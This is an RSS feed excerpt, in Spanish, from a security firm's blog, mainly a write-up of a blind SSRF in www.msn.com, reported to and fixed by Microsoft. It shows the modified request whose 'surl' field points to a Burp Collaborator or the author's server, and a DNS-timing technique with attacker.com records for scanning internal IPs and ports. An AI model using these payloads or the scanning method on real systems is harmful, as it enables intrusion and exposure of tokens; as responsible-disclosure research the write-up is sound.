      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Wordfence añade una regla: 3 de Agosto
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Equipo de DeepSecurity confirma la regla: 5 de Agosto.
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Agradecimientos especiales a Jesús Espinoza Soto por su participación en esta investigación.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;</content:encoded>
      <enclosure url="https://irp.cdn-website.com/210ad002/dms3rep/multi/wordfence.jpg" length="20777" type="image/jpeg" />
      <pubDate>Wed, 11 Mar 2020 07:27:22 GMT</pubDate>
      <guid>https://www.deepsecurity.pe/evadiendo-el-waf-del-mejor-plugin-de-seguridad-de-wordpress-wordfence</guid>
      <g-custom:tags type="string">SPAN</g-custom:tags>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/wordfence.jpg">
        <media:description>thumbnail</media:description>
      </media:content>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/wordfence.jpg">
        <media:description>main image</media:description>
      </media:content>
    </item>
    <item>
      <title>Server-Side Request Forgery en WWW.MSN.COM</title>
      <link>https://www.deepsecurity.pe/server-side-request-forgery-en-www-msn-com</link>
      <description>Server-Side Request Forgery (SSRF) es una vulnerabilidad que ha ido ganando mayor popularidad entre las nuevas tecnologías web. En el 2020 hay más de 60 CVEs asignados a esta vulnerabilidad. En este post se explicará a detalle un Blind SSRF encontrado en www.msn.com.</description>
      <content:encoded>&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/exploiting_ssrf_vulnerability.png" alt="Un diagrama que muestra cómo el firewall bloquea una solicitud directa."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Server-Side Request Forgery (SSRF) es una vulnerabilidad que ha ido ganando mayor popularidad entre las nuevas tecnologías web. En el 2020 hay más de 60 CVEs asignados a esta vulnerabilidad. En este post se explicará a detalle un Blind SSRF encontrado en 
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://www.msn.com/" target="_blank"&gt;&#xD;
      
                      
           www.msn.com
          
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           .
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Conocimiento Base para comprender la vulnerabilidad:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           ¿Qué es Server-Request Forgery?
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Server-Side Request Forgery es un tipo de vulnerabilidad que permite forzar a una aplicación a generar peticiones HTTP a un sitio web controlado por el atacante. En un SSRF clásico, el atacante envía una petición especial al servidor vulnerable, el servidor visita el link controlado por el atacante y este puede obtener información privilegiada como un archivo o un token.
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/exploiting_ssrf_vulnerability.png" alt="Un diagrama que muestra cómo el firewall bloquea una solicitud directa."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Server-Side Request Forgery (SSRF) es una vulnerabilidad que ha ido ganando mayor popularidad entre las nuevas tecnologías web. En el 2020 hay más de 60 CVEs asignados a esta vulnerabilidad. En este post se explicará a detalle un Blind SSRF encontrado en
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
            
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://www.msn.com/" target="_blank"&gt;&#xD;
      
                      
           www.msn.com
          
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           .
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Conocimiento Base para comprender la vulnerabilidad:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           ¿Qué es Server-Request Forgery?
           
                      &#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Server-Side Request Forgery es un tipo de vulnerabilidad que permite forzar a una aplicación a generar peticiones HTTP a un sitio web controlado por el atacante. En un SSRF clásico, el atacante envía una petición especial al servidor vulnerable, el servidor visita el link controlado por el atacante y este puede obtener información privilegiada como un archivo o un token.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/server_request_forgery.png" alt="Un diagrama de un hacker atacando una aplicación vulnerable."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Imagen 1 – Ejemplo SSRF Clásico
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           En la imagen 1, se puede ver una aplicación que mediante un Json le especifica 2 valores al servidor. Un archivo local o de configuración en la variable
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           path
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           y la variable
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           response
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           que es el endpoint donde llegará el valor de
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           path.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Explotación:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Como se puede observar en este ejemplo, el atacante tiene un SSRF en el cual puede controlar el archivo que quiere obtener del sistema (path) y el endpoint donde quiere escuchar la respuesta (response). El atacante en la petición debe ingresar un dominio controlado por él y la respuesta llegaría con el contenido de path a su puerto 80 o 443.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Server-Side Request Forgery a ciegas:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Existen escenarios más complejos donde la vulnerabilidad no es tan perfecta como en el escenario antes mencionado. ¿Qué pasa si solo tuviese la variable response? ¿Qué ocurre cuando se puede forzar la aplicación a generar una petición HTTP, pero no hay una variable para obtener un archivo local? ¿Qué tipo de ataque podría generar en ese caso?
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Blind SSRF [XSPA] en 
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://www.msn.com/" target="_blank"&gt;&#xD;
      
                      
           www.msn.com
          
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           :
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Introducción:
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Cross Site Port Attack (XSPA) es una vulnerabilidad que permite a los atacantes obtener el estado de los puertos TCP, en ocasiones tomar banners de los servicios, a través de Internet o sistemas internos al abusar de una función que realiza solicitudes HTTP utilizando URLs controladas por el atacante.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Primeros hallazgos:
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Al visitar 
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://www.msn.com/" target="_blank"&gt;&#xD;
      
                      
           www.msn.com
          
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           , se pudo visualizar un request con los siguientes valores enviados por post. (la petición tiene valores cambiados con el propósito de hacer el post más didáctico).
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           ‘Data’:’{\’surl\’:\’http://external-microsoft-
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           server.com/\’,\’cc\’[\’BB19j9yX\’,\’BB19iQtV\’,\’BB19jd0J\’,\’BB19ik5C\’,\’BB19iPyl\’,\’BB19iRQ3\’,\’BB19hz2h\’,\’BB19h56d\’,\’BB19gWGJ\’,\’BB19gRAM\’,\’BB19gDOw\’,\’BB19gCBu\’,\’BB19g3SY\’],\’exclcss\’:[54702371,-1917159379,1610284228,1695086248],\’excljs\’:[54702371,-1917159379,1695086248,246664348,-1186611808,-2126990898],\’rcc\’:63,\’p\’:2,\’pvid\’:\’41059c0f7a574399a8ec60680b4acabe\’}’}
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Burp Suite, cuenta con un ayudante en su versión PRO, Burp Collaborator. Básicamente lo que hace es generar un subdominio y escucha en distintos puertos para recibir peticiones.
           
                      &#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/blind_ssrf.png" alt="Un diagrama de un hacker usando una computadora portátil."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Burp Collaborator recibiendo peticiones
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           También existen otras aplicaciones gratuitas con funcionalidades similares como ngrok o se puede usar un servidor propio. Usando el link generado por collaborator, se modificó la petición y se envió:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           ‘Data’:’’:’{\’surl\’:\’http://xxxxxx.burpcollaborator.net/\’,\’cc\’[\’BB19j9yX\’,\’BB19iQtV\’,\’BB19jd0J\’,\’BB19ik5C\’,\’BB19iPyl\’,\’BB19iRQ3\’,\’BB19hz2h\’,\’BB19h56d\’,\’BB19gWGJ\’,\’BB19gRAM\’,\’BB19gDOw\’,\’BB19gCBu\’,\’BB19g3SY\’],\’exclcss\’:[54702371,-1917159379,1610284228,1695086248],\’excljs\’:[54702371,-1917159379,1695086248,246664348,-1186611808,-2126990898],\’rcc\’:63,\’p\’:2,\’pvid\’:\’41059c0f7a574399a8ec60680b4acabe\’}’}
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           En este punto, se pudo confirmar que existía un Blind SSRF, el collaborator había recibido una petición del servidor de Microsoft. Para hacer pruebas mas exactas, se utilizó un servidor propio y se reenvió la petición especificando un puerto, de la siguiente manera:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           ‘Data’:’’:’{\’surl\’:\’http://reciever.deepsecurity.pe/\’,\’cc\’[\’BB19j9yX\’,\’BB19iQtV\’,\’BB19jd0J\’,\’BB19ik5C\’,\’BB19iPyl\’,\’BB19iRQ3\’,\’BB19hz2h\’,\’BB19h56d\’,\’BB19gWGJ\’,\’BB19gRAM\’,\’BB19gDOw\’,\’BB19gCBu\’,\’BB19g3SY\’],\’exclcss\’:[54702371,-1917159379,1610284228,1695086248],\’excljs\’:[54702371,-1917159379,1695086248,246664348,-1186611808,-2126990898],\’rcc\’:63,\’p\’:2,\’pvid\’:\’41059c0f7a574399a8ec60680b4acabe\’}’}
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Request recibida desde Microsoft (Se han eliminado datos)
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           De esta petición, se obtuvo la IP del servidor de Microsoft, un dominio de producción, un Authtoken y algunos valores que afectan la confidencialidad de la información de Microsoft.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           El problema:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Se ha identificado una aplicación de Microsoft que genera peticiones a un servidor web que se le especifique ¿cómo se puede aumentar el riesgo de este escenario?
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Weaponizing – XSPA, Timing y DNS:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Para realizar un escaneo de IPs a la LAN de Microsoft, se utilizó el tiempo que se demora el cliente HTTP en resolver un dominio.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Como se puede observar en la imagen previa, se configuró un dominio con 2 registros A. Uno resolviendo (DNS) a IP local aleatoria y otro registro resolviendo (DNS) a un servidor controlado por nosotros. El orden de los registros es importante.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           La mayoría de los clientes HTTP cuando hacen una petición a un dominio, y este dominio tiene 2 registros A, primero intenta resolver usando el primer registro, si no la encuentra o no se puede conectar, se conecta a la segunda. Siguiendo esta lógica, se podría saber que IP está activa en la LAN.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Prueba 1:
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Attacker.com (A) → 10.0.0.1
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Attacker.com (A) → 200.x.x.x
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           surl: http://attacker.com
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Tiempo en llegar a 200.x.x.x: 1 Segundo
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Prueba 2:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Attacker.com (A) → 10.0.0.2
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Attacker.com (A) → 200.x.x.x
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           surl: http://attacker.com:445
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Tiempo en llegar a 200.x.x.x: 1 Segundo
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Prueba 3:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Attacker.com (A) → 10.0.0.XX
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Attacker.com (A) → 200.x.x.x
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           surl: http://attacker.com:443
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Tiempo en llegar a 200.x.x.x: N/A
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Prueba 4:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Attacker.com (A) → 10.0.0.10
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Attacker.com (A) → 200.x.x.x
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           surl: http://attacker.com:445
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Tiempo en llegar a 200.x.x.x: 15 Segundos
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Conclusiones:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           La prueba 1 y 2, demuestran que el cliente intentaba pedir primero la IP local en el puerto 80; sin embargo, al no ser una IP/Puerto activo, automáticamente era reenviado a nuestro servidor Web. En la prueba 3, la conexión nunca llegó. En ese sentido, se puede confirmar la IP local de Microsoft, 10.0.0.XX en el puerto 443, tiene un servicio corriendo. En la prueba 4, se pudo confirmar que la IP estaba activa, pero en el puerto 445, no existía servicio corriendo.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Microsoft confirmó la vulnerabilidad y la calificó como Importante, lo cual es equivalente a Alto en su sistema de calificación. Microsoft me añadió (Camilo Galdos – DeepSecurity) a la lista de reconocimientos de setiembre 2020 por esta vulnerabilidad; sin embargo, el dominio msn.com no es parte del scope para Bug Bounty.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            ﻿
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Línea de tiempo de reporte responsable:
           
                      &#xD;
      &lt;br/&gt;&#xD;
      
                      
           Set 22: Vulnerabilidad encontrada.
           
                      &#xD;
      &lt;br/&gt;&#xD;
      
                      
           Set 23: Reportada a Microsoft.
           
                      &#xD;
      &lt;br/&gt;&#xD;
      
                      
           Set 29: Microsoft confirma la vulnerabilidad.
           
                      &#xD;
      &lt;br/&gt;&#xD;
      
                      
           Oct 1: Microsoft confirma el fix para la vulnerabilidad.
           
                      &#xD;
      &lt;br/&gt;&#xD;
      
                      
           Oct 19: Microsoft publica el reconocimiento en su web.
           
                      &#xD;
      &lt;br/&gt;&#xD;
      
